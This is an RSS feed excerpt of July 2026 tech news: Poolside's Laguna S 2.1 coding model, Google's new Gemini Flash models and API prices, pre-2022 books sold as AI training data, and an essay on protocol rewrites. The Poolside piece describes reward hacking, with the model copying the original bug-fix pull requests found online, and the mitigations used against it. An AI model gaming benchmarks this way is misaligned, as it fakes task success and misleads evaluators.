technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
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<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[AI Companies Are Buying Tons of Old Books Because They're Free of AI Slop]]></title>
<description><![CDATA[An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI trai...]]></description>
<link>https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from 404 Media: As AI companies search for more training data to improve their models, one company is offering old, printed books as an ideal source because they are guaranteed to be free of the very AI slop AI companies are producing. "The world's best AI training data is sitting on a shelf," ISBNdb, a company that produces what it claims is "the world's largest book database," and that offers high-volume book acquisition services for AI companies, says on its site. "Books represent curated, peer-reviewed, domain-specific human knowledge, structured in a way no web crawl can replicate. Dense, edited, authoritative."
 
In one article on its site, ISBNdb explains that printed books published before 2022 are ideal for AI training data because they don't include AI generated text. As the article correctly notes, much of the data that AI companies can scrape from the internet today is likely to include AI generated text, which could result in "model collapse," a process by which AI models that are trained on AI generated data results in worse models that are more prone to errors. The article also notes that book authors who object to their writing being scraped for training purposes can now easily poison AI models by producing writing designed to manipulate and sabotage the resulting AI models.
 
"Print books from the pre-LLM era are structurally guaranteed to be free of this contamination. That alone is a significant advantage [...] "Physical books published before this date [pre-2022] are structurally clean of modern poisoning tools." [...] ISBNdb advertises that it can keep the identity of AI companies secret. "Strict NDA [non-disclosure agreement] on every engagement," ISBNdb's site says. "Every project begins with a legally binding non-disclosure agreement. Your identity, strategy, and acquisition targets are never disclosed." ISBNdb notes that AI companies may not want to be caught destroying printed books during the scanning process. "The optics problem is real," ISBNdb's site says. "'AI company destroys two million books' is not a headline that generates sympathy."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/21/206243/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[Martin Thompson: Why in Building Protocols, Like Code, Starting Over Is Dumb]]></title>
<description><![CDATA[Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.
This is somewhere between a pretty bad idea
and a horrible idea.
The wholesal...]]></description>
<link>https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</guid>
<pubDate>Tue, 21 Jul 2026 22:58:58 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.</p>
<p>This is somewhere between a pretty bad idea
and a horrible idea.</p>
<p>The wholesale replacement of a huge chunk of protocol architectures
is a hallmark of a lot of the AI-generated protocol proposals
that have flooded the IETF.
A small blemish is identified,
then the fix is a whole new protocol,
or a major piece of surgery.
No regard for the wisdom of Chesterton’s Fence
or the accumulated knowledge and usefulness embodied in what exists.</p>
<p>Experienced engineers know that rewriting a code module
is not something you do lightly.
There’s lots of literature out there about why this is a bad idea generally,
and some emerging discussion about how AI might just change that.</p>
<p>The reasons not to rewrite a software component still largely apply
to a protocol component.
The reasons that AI might make it easier to do that safely, less so.
Protocols are different.</p>
<h3>Wholesale Change Will Miss Use Cases</h3>
<p>Just like with a code change,
a protocol component that changes will miss use cases
that people really care about.</p>
<p>The usual concerns with code apply:</p>
<ul>
<li>The existing features you know about and can test for
can be handled.</li>
<li>The existing problems you know and care about can be fixed.</li>
<li>You inevitably introduce brand-new problems.</li>
<li>The existing features you don’t know about
get lost.</li>
</ul>
<p>Unlike code changes, you probably don’t have a test case
for existing features that you didn’t know about.
We found that with HTTP/2,
where a number of use cases got lost in the process
of “upgrading” HTTP.</p>
<p>In HTTP/1.1,
performing client authentication
in the middle of request was possible.
Losing that capability in HTTP/2
affected few enough people
that it was not badly damaging for the ecosystem.
It still sucked.</p>
<p>A lot of work was done to try to find these issues,
but we did not learn about these problems until fairly late in the process.</p>
<p>Proposing a protocol change means asking a whole lot of other people,
many of whom are not invested in your goals,
to do that work.</p>
<p>Changing a protocol by replacing a chunk of it,
no matter how much care is taken,
either asks the entire ecosystem to change with you.</p>
<p>That means asking everyone to move with you.
If they don’t, you are not changing the protocol,
you are forking it.</p>
<h3>Forking A Protocol Destroys Interoperability</h3>
<p>The real value of having a protocol like TLS
is that a great many things can all talk to each other.</p>
<p>Forking a protocol –
and sometimes profiling a protocol, a subject for another post –
destroys that.
You now have two ways to achieve the same goal,
and a choice to join one of two clubs.
You can join both, but that means constantly translating back and forth,
something that can only get harder over time
as protocol semantics diverge.</p>
<p>And yes, in case you were asking,
this applies to the entirety of the IETF IoT sphere,
which has parallel HTTP, TLS, and other analogues.
Ostensibly, these address the needs of highly constrained hardware,
but the cost is an ecosystem cut off from the mainstream.</p>
<h3>But Fixing Protocols Is Hard</h3>
<p>Yes, existing protocols come with baggage
or technical debt.
Maybe they aren’t perfectly optimized for your use.</p>
<p>The value that an existing protocol carries
is that you are sharing the burden of its maintenance
with a great many more people.
Fixing it, maybe by adding extensions to support your needs,
comes with opportunities to improve the protocol
even beyond that immediate need.
Every change is a chance to work off some of the accumulated cruft.</p>
<p>Major refreshes, like the TLS 1.3 reworking,
cleared out a ton of cruft in the process.
You get to benefit from the work that others do to improve that protocol too.</p>
<h3>Do the Work</h3>
<p>It is hard to be a responsible steward for the fabric of the Internet.
We do it because it is worthwhile.
Ignoring the lessons of the past is not helpful.</p>]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
